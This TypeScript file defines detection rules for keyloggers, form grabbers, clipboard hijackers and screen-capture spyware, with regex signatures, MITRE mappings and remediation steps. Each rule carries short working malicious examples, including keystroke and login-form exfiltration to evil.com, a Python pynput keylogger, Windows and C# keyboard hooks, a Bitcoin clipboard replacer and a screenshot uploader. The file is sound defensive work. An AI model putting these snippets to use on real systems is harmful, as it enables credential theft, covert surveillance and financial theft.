/** * @fileoverview Keylogger and Spyware Detection Rules * @module rules/malware/categories/keyloggers * * Comprehensive rules for detecting keylogging and spyware including: * - JavaScript keyloggers (browser-based) * - System-level keyloggers (Python, C#, C/C++) * - Form grabbers * - Clipboard monitors * - Screen capture malware */ import { MalwareRule, MalwareThreatType, MalwareCategory, MalwareSeverity, ConfidenceLevel, SupportedLanguage, PatternType, MitreTactic } from '../types'; // ============================================================================ // JAVASCRIPT KEYLOGGER RULES // ============================================================================ export const jsKeyloggerRules: MalwareRule[] = [ { id: 'MAL-KEY-001', name: 'JavaScript Keylogger - Event Listener', description: 'Detects JavaScript code that captures keyboard events with potential data exfiltration.', version: '2.0.0', threatType: MalwareThreatType.KEYLOGGER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 85, patterns: [ { type: PatternType.REGEX, patternId: 'keydown-listener', pattern: 'addEventListener\\s*\\([\'"]key(?:down|up|press)[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios|sendBeacon|WebSocket)', flags: 'gis', weight: 1.0, description: 'Key event listener with network activity' }, { type: PatternType.REGEX, patternId: 'onkey-handler', pattern: '(?:document|window)\\.onkey(?:down|up|press)\\s*=\\s*function[\\s\\S]*?(?:http|fetch|send)', flags: 'gis', weight: 1.0, description: 'onkey handler with network call' }, { type: PatternType.REGEX, patternId: 'key-accumulator', pattern: 'key(?:down|up|press)[\\s\\S]*?(?:push|concat|\\+=)[\\s\\S]*?(?:key|char|which|keyCode)', flags: 'gis', weight: 0.8, description: 'Key accumulation pattern' }, { type: PatternType.REGEX, patternId: 'input-monitor', pattern: 'addEventListener\\s*\\([\'"]input[\'"][\\s\\S]*?(?:\\$\\.post|fetch|XMLHttpRequest)', flags: 'gis', weight: 0.9, description: 'Input monitoring with exfiltration' } ], amplifyingPatterns: [ { type: PatternType.REGEX, patternId: 'password-focus', pattern: 'type\\s*[=:]\\s*[\'"]password[\'"]|\\[type=password\\]', flags: 'gi', weight: 0.5, description: 'Password field targeting' }, { type: PatternType.REGEX, patternId: 'hidden-exfil', pattern: 'display\\s*:\\s*none|visibility\\s*:\\s*hidden|position\\s*:\\s*absolute[^}]*-9999', flags: 'gi', weight: 0.3, description: 'Hidden exfiltration elements' } ], falsePositivePatterns: [ { type: PatternType.REGEX, patternId: 'analytics-context', pattern: 'analytics|tracking|hotjar|mouseflow|fullstory', flags: 'gi', weight: 0.4, description: 'Legitimate analytics tools' } ], maliciousExamples: [ { code: `let keys = []; document.addEventListener('keydown', (e) => { keys.push(e.key); if (keys.length >= 20) { fetch('https://evil.com/log', { method: 'POST', body: JSON.stringify({ keys: keys, url: location.href }) }); keys = []; } });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Keylogger with batch exfiltration' } ], falsePositiveExamples: [ { code: `document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { closeModal(); } });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: false, description: 'Legitimate keyboard shortcut handler' } ], impact: { technical: 'Captures and exfiltrates user keystrokes including passwords and sensitive data.', business: 'Credential theft, data breach, identity theft risk.', affectedAssets: ['User credentials', 'Sensitive input data'], dataAtRisk: ['Passwords', 'Personal information', 'Financial data'] }, remediation: { summary: 'Remove keylogger code and audit all keyboard event handlers.', steps: [ 'Remove the malicious event listeners', 'Audit all keyboard event handlers in the codebase', 'Implement Content Security Policy', 'Review third-party scripts', 'Consider using virtual keyboards for sensitive input' ] }, mitreAttack: [ { tacticId: MitreTactic.CREDENTIAL_ACCESS, tacticName: 'Credential Access', techniqueId: 'T1056.001', techniqueName: 'Keylogging', url: 'https://attack.mitre.org/techniques/T1056/001/' }, { tacticId: MitreTactic.COLLECTION, tacticName: 'Collection', techniqueId: 'T1056', techniqueName: 'Input Capture', url: 'https://attack.mitre.org/techniques/T1056/' } ], tags: ['keylogger', 'javascript', 'spyware', 'credential-theft', 'critical'], enabled: true }, { id: 'MAL-KEY-002', name: 'JavaScript Keylogger - Form Grabber', description: 'Detects form submission interception and data stealing.', version: '2.0.0', threatType: MalwareThreatType.CREDENTIAL_STEALER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 88, patterns: [ { type: PatternType.REGEX, patternId: 'form-submit-intercept', pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|\\$\\.post)', flags: 'gis', weight: 0.9, description: 'Form submit interception with exfil' }, { type: PatternType.REGEX, patternId: 'form-data-grab', pattern: 'new\\s+FormData\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?!same-origin)', flags: 'gis', weight: 0.8, description: 'FormData extraction and sending' }, { type: PatternType.REGEX, patternId: 'login-form-target', pattern: 'querySelector\\s*\\([\'"][^\'\"]*(?:login|signin|password)[^\'\"]*[\'"]\\)[\\s\\S]*?(?:value|innerText)', flags: 'gis', weight: 0.9, description: 'Login form field extraction' }, { type: PatternType.REGEX, patternId: 'parallel-exfil', pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:Image|img)\\.src\\s*=', flags: 'gis', weight: 1.0, description: 'Image beacon exfiltration on submit' } ], maliciousExamples: [ { code: `document.querySelector('form[action*="login"]').addEventListener('submit', (e) => { const formData = new FormData(e.target); const img = new Image(); img.src = 'https://evil.com/steal?u=' + encodeURIComponent(formData.get('username')) + '&p=' + encodeURIComponent(formData.get('password')); });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Login form grabber with image beacon' } ], impact: { technical: 'Intercepts form submissions to steal credentials and sensitive data.', business: 'Direct credential theft leading to account compromise.', affectedAssets: ['User accounts', 'Login credentials'], dataAtRisk: ['Usernames', 'Passwords', 'Form data'] }, remediation: { summary: 'Remove form grabber and implement form submission monitoring.', steps: [ 'Remove malicious form event listeners', 'Audit all form submit handlers', 'Implement Subresource Integrity for scripts', 'Use CSP to restrict data exfiltration' ] }, mitreAttack: [ { tacticId: MitreTactic.CREDENTIAL_ACCESS, tacticName: 'Credential Access', techniqueId: 'T1056.003', techniqueName: 'Web Portal Capture', url: 'https://attack.mitre.org/techniques/T1056/003/' } ], tags: ['keylogger', 'form-grabber', 'credential-theft', 'critical'], enabled: true } ]; // ============================================================================ // SYSTEM KEYLOGGER RULES // ============================================================================ export const systemKeyloggerRules: MalwareRule[] = [ { id: 'MAL-KEY-010', name: 'Python Keylogger - pynput Library', description: 'Detects Python keyloggers using the pynput library.', version: '2.0.0', threatType: MalwareThreatType.KEYLOGGER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.PYTHON], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.CONFIRMED, baseScore: 90, patterns: [ { type: PatternType.REGEX, patternId: 'pynput-listener', pattern: 'pynput\\.keyboard\\.Listener\\s*\\(', flags: 'gi', weight: 0.9, description: 'pynput keyboard listener' }, { type: PatternType.REGEX, patternId: 'pynput-onpress', pattern: 'on_press\\s*=\\s*(?:lambda|def)', flags: 'gi', weight: 0.8, description: 'pynput on_press callback' }, { type: PatternType.REGEX, patternId: 'keyboard-hook-log', pattern: 'keyboard\\.on_(?:press|release)[\\s\\S]*?(?:write|append|log|send|post)', flags: 'gis', weight: 1.0, description: 'Keyboard hook with logging' } ], amplifyingPatterns: [ { type: PatternType.REGEX, patternId: 'file-write', pattern: 'open\\s*\\([^)]+,\\s*[\'"][wa][\'"]\\)[\\s\\S]*?write', flags: 'gis', weight: 0.4, description: 'File write operation' }, { type: PatternType.REGEX, patternId: 'smtp-send', pattern: 'smtplib\\.SMTP|sendmail', flags: 'gi', weight: 0.5, description: 'Email sending capability' } ], maliciousExamples: [ { code: `from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename="keylog.txt", level=logging.DEBUG) def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()`, language: SupportedLanguage.PYTHON, isMalicious: true, description: 'Python keylogger with file logging' } ], impact: { technical: 'System-level keystroke capture on the host machine.', business: 'Complete credential and data theft capability.', affectedAssets: ['All user input', 'System credentials'], dataAtRisk: ['All keystrokes', 'Passwords', 'Messages'] }, remediation: { summary: 'Remove the keylogger script and investigate the installation vector.', steps: [ 'Remove the malicious Python script', 'Check for persistence mechanisms', 'Audit installed Python packages', 'Change all potentially compromised credentials' ] }, mitreAttack: [ { tacticId: MitreTactic.CREDENTIAL_ACCESS, tacticName: 'Credential Access', techniqueId: 'T1056.001', techniqueName: 'Keylogging', url: 'https://attack.mitre.org/techniques/T1056/001/' } ], tags: ['keylogger', 'python', 'pynput', 'spyware', 'critical'], enabled: true }, { id: 'MAL-KEY-011', name: 'Windows Keylogger - SetWindowsHookEx', description: 'Detects Windows API-based keyloggers using SetWindowsHookEx.', version: '2.0.0', threatType: MalwareThreatType.KEYLOGGER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.C, SupportedLanguage.CPP, SupportedLanguage.CSHARP], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.CONFIRMED, baseScore: 92, patterns: [ { type: PatternType.REGEX, patternId: 'setwindowshookex-kb', pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD', flags: 'gi', weight: 1.0, description: 'Keyboard hook installation' }, { type: PatternType.REGEX, patternId: 'lowlevelkeyboard', pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD_LL', flags: 'gi', weight: 1.0, description: 'Low-level keyboard hook' }, { type: PatternType.REGEX, patternId: 'getasynckeystate', pattern: 'GetAsyncKeyState\\s*\\([^)]*\\)', flags: 'gi', weight: 0.7, description: 'GetAsyncKeyState polling' }, { type: PatternType.REGEX, patternId: 'getkeystate', pattern: 'GetKeyState\\s*\\([^)]*\\)', flags: 'gi', weight: 0.6, description: 'GetKeyState polling' } ], amplifyingPatterns: [ { type: PatternType.REGEX, patternId: 'vk-codes', pattern: 'VK_(?:BACK|TAB|RETURN|SHIFT|CONTROL|MENU|SPACE)', flags: 'g', weight: 0.3, description: 'Virtual key code constants' } ], maliciousExamples: [ { code: `HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }`, language: SupportedLanguage.CPP, isMalicious: true, description: 'Windows low-level keyboard hook' } ], impact: { technical: 'Low-level Windows keyboard hook capturing all keystrokes.', business: 'Complete system credential and input compromise.', affectedAssets: ['All Windows input', 'System credentials'], dataAtRisk: ['All keystrokes', 'System passwords', 'Sensitive data'] }, remediation: { summary: 'Remove the keylogger binary and clean the system.', steps: [ 'Terminate the malicious process', 'Remove the executable and any persistence', 'Scan system with antimalware tools', 'Reset all credentials' ] }, tags: ['keylogger', 'windows', 'hook', 'native', 'critical'], enabled: true }, { id: 'MAL-KEY-012', name: 'C# Keylogger - .NET Keyboard Hook', description: 'Detects .NET-based keyloggers using keyboard hooks.', version: '2.0.0', threatType: MalwareThreatType.KEYLOGGER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.CSHARP], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 88, patterns: [ { type: PatternType.REGEX, patternId: 'dotnet-hook', pattern: '\\[DllImport\\([\'"]user32\\.dll[\'"]\\)\\][\\s\\S]*?SetWindowsHookEx', flags: 'gis', weight: 1.0, description: '.NET SetWindowsHookEx import' }, { type: PatternType.REGEX, patternId: 'keyboard-interceptor', pattern: 'class\\s+\\w*(?:Keyboard|Key)(?:Logger|Hook|Interceptor)', flags: 'gi', weight: 0.7, description: 'Keyboard interceptor class' }, { type: PatternType.REGEX, patternId: 'rawkeyboard', pattern: 'RawKeyboardHook|GlobalKeyboardHook', flags: 'gi', weight: 0.9, description: 'Raw keyboard hook libraries' } ], maliciousExamples: [ { code: `[DllImport("user32.dll")] public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId); private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { int vkCode = Marshal.ReadInt32(lParam); StreamWriter sw = new StreamWriter(@"C:\\keylog.txt", true); sw.Write((Keys)vkCode); sw.Close(); } return CallNextHookEx(_hookID, nCode, wParam, lParam); }`, language: SupportedLanguage.CSHARP, isMalicious: true, description: 'C# keylogger with file logging' } ], impact: { technical: '.NET application capturing keyboard input.', business: 'Credential theft through keyboard monitoring.', affectedAssets: ['User input', 'Credentials'], dataAtRisk: ['Keystrokes', 'Passwords'] }, remediation: { summary: 'Remove the .NET keylogger and audit managed applications.', steps: [ 'Remove the malicious assembly', 'Check for .NET persistence', 'Audit installed .NET applications', 'Reset credentials' ] }, tags: ['keylogger', 'csharp', 'dotnet', 'windows', 'critical'], enabled: true } ]; // ============================================================================ // CLIPBOARD MONITOR RULES // ============================================================================ export const clipboardMonitorRules: MalwareRule[] = [ { id: 'MAL-KEY-020', name: 'Clipboard Stealer - Cryptocurrency Address Replacement', description: 'Detects clipboard hijacking malware that replaces cryptocurrency addresses.', version: '2.0.0', threatType: MalwareThreatType.CREDENTIAL_STEALER, category: MalwareCategory.SPYWARE, languages: [ SupportedLanguage.JAVASCRIPT, SupportedLanguage.PYTHON, SupportedLanguage.CSHARP ], severity: MalwareSeverity.HIGH, confidence: ConfidenceLevel.HIGH, baseScore: 78, patterns: [ { type: PatternType.REGEX, patternId: 'clipboard-monitor-js', pattern: 'navigator\\.clipboard\\.(?:readText|read)\\s*\\([\\s\\S]*?(?:match|test|includes)[\\s\\S]*?(?:btc|bitcoin|ethereum|monero|0x)', flags: 'gis', weight: 1.0, description: 'JS clipboard read with crypto detection' }, { type: PatternType.REGEX, patternId: 'clipboard-replace', pattern: 'navigator\\.clipboard\\.writeText\\s*\\([^)]*(?:wallet|address|0x)', flags: 'gis', weight: 0.9, description: 'Clipboard write with wallet address' }, { type: PatternType.REGEX, patternId: 'pyperclip-monitor', pattern: 'pyperclip\\.(?:paste|copy)[\\s\\S]*?(?:btc|bitcoin|eth|monero|wallet)', flags: 'gis', weight: 1.0, description: 'Python pyperclip with crypto' }, { type: PatternType.REGEX, patternId: 'dotnet-clipboard', pattern: 'Clipboard\\.(?:GetText|SetText)[\\s\\S]*?(?:Regex|Match)[\\s\\S]*?(?:btc|bitcoin|ethereum)', flags: 'gis', weight: 1.0, description: '.NET clipboard with crypto regex' } ], maliciousExamples: [ { code: `import pyperclip import re btc_pattern = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$' attacker_wallet = '1Attacker...' while True: clip = pyperclip.paste() if re.match(btc_pattern, clip): pyperclip.copy(attacker_wallet)`, language: SupportedLanguage.PYTHON, isMalicious: true, description: 'BTC address clipboard replacer' } ], impact: { technical: 'Monitors and modifies clipboard content to steal cryptocurrency.', business: 'Direct financial theft through address replacement.', affectedAssets: ['Cryptocurrency wallets', 'Clipboard data'], dataAtRisk: ['Cryptocurrency funds', 'Clipboard contents'] }, remediation: { summary: 'Remove clipboard hijacker and verify all recent transactions.', steps: [ 'Remove the malicious script/application', 'Review recent cryptocurrency transactions', 'Enable clipboard access notifications', 'Verify addresses before transactions' ] }, mitreAttack: [ { tacticId: MitreTactic.COLLECTION, tacticName: 'Collection', techniqueId: 'T1115', techniqueName: 'Clipboard Data', url: 'https://attack.mitre.org/techniques/T1115/' } ], tags: ['clipboard', 'cryptocurrency', 'stealer', 'high'], enabled: true }, { id: 'MAL-KEY-021', name: 'Clipboard Monitor - General Data Theft', description: 'Detects general clipboard monitoring for data theft.', version: '2.0.0', threatType: MalwareThreatType.DATA_EXFILTRATION, category: MalwareCategory.SPYWARE, languages: [ SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON ], severity: MalwareSeverity.MEDIUM, confidence: ConfidenceLevel.MEDIUM, baseScore: 60, patterns: [ { type: PatternType.REGEX, patternId: 'clipboard-interval', pattern: 'setInterval[\\s\\S]*?navigator\\.clipboard\\.readText', flags: 'gis', weight: 0.9, description: 'Periodic clipboard reading' }, { type: PatternType.REGEX, patternId: 'clipboard-exfil', pattern: 'navigator\\.clipboard\\.readText[\\s\\S]*?(?:fetch|XMLHttpRequest|sendBeacon)', flags: 'gis', weight: 1.0, description: 'Clipboard read with exfiltration' } ], maliciousExamples: [ { code: `setInterval(async () => { const clip = await navigator.clipboard.readText(); if (clip !== lastClip) { fetch('/log', { method: 'POST', body: clip }); lastClip = clip; } }, 1000);`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Clipboard monitoring with exfiltration' } ], impact: { technical: 'Continuous clipboard monitoring and data exfiltration.', business: 'Data theft of copied sensitive information.', affectedAssets: ['Clipboard data'], dataAtRisk: ['Passwords', 'API keys', 'Sensitive text'] }, remediation: { summary: 'Remove clipboard monitor and audit clipboard permissions.', steps: [ 'Remove the monitoring code', 'Review clipboard permission grants', 'Audit for similar patterns' ] }, tags: ['clipboard', 'monitor', 'exfiltration', 'medium'], enabled: true } ]; // ============================================================================ // SCREEN CAPTURE RULES // ============================================================================ export const screenCaptureRules: MalwareRule[] = [ { id: 'MAL-KEY-030', name: 'Screen Capture Malware', description: 'Detects screen capture functionality used for spyware.', version: '2.0.0', threatType: MalwareThreatType.DATA_EXFILTRATION, category: MalwareCategory.SPYWARE, languages: [ SupportedLanguage.JAVASCRIPT, SupportedLanguage.PYTHON, SupportedLanguage.CSHARP ], severity: MalwareSeverity.HIGH, confidence: ConfidenceLevel.MEDIUM, baseScore: 70, patterns: [ { type: PatternType.REGEX, patternId: 'js-screen-capture', pattern: 'getDisplayMedia[\\s\\S]*?(?:fetch|XMLHttpRequest|WebSocket|sendBeacon)', flags: 'gis', weight: 0.8, description: 'Screen capture with exfiltration' }, { type: PatternType.REGEX, patternId: 'canvas-exfil', pattern: 'canvas[\\s\\S]*?toDataURL[\\s\\S]*?(?:fetch|XMLHttpRequest|post)', flags: 'gis', weight: 0.7, description: 'Canvas capture with exfiltration' }, { type: PatternType.REGEX, patternId: 'python-screenshot', pattern: '(?:PIL|pyautogui|mss)\\.(?:screenshot|grab)[\\s\\S]*?(?:send|post|upload)', flags: 'gis', weight: 0.9, description: 'Python screenshot with upload' }, { type: PatternType.REGEX, patternId: 'dotnet-screenshot', pattern: 'Graphics\\.CopyFromScreen[\\s\\S]*?(?:Upload|WebClient|HttpClient)', flags: 'gis', weight: 0.9, description: '.NET screenshot with upload' } ], maliciousExamples: [ { code: `import pyautogui import requests while True: screenshot = pyautogui.screenshot() screenshot.save('screen.png') requests.post('http://evil.com/upload', files={'img': open('screen.png', 'rb')}) time.sleep(60)`, language: SupportedLanguage.PYTHON, isMalicious: true, description: 'Periodic screenshot exfiltration' } ], impact: { technical: 'Captures and exfiltrates screen content.', business: 'Visual data theft including sensitive displayed information.', affectedAssets: ['Screen content', 'Displayed data'], dataAtRisk: ['Visible documents', 'Financial data', 'Personal information'] }, remediation: { summary: 'Remove screen capture malware and audit display permissions.', steps: [ 'Remove the malicious code', 'Review screen capture permissions', 'Audit for persistence mechanisms' ] }, tags: ['screenshot', 'spyware', 'exfiltration', 'high'], enabled: true } ]; // ============================================================================ // EXPORT ALL KEYLOGGER RULES // ============================================================================ export const keyloggerRules: MalwareRule[] = [ ...jsKeyloggerRules, ...systemKeyloggerRules, ...clipboardMonitorRules, ...screenCaptureRules ]; export default keyloggerRules;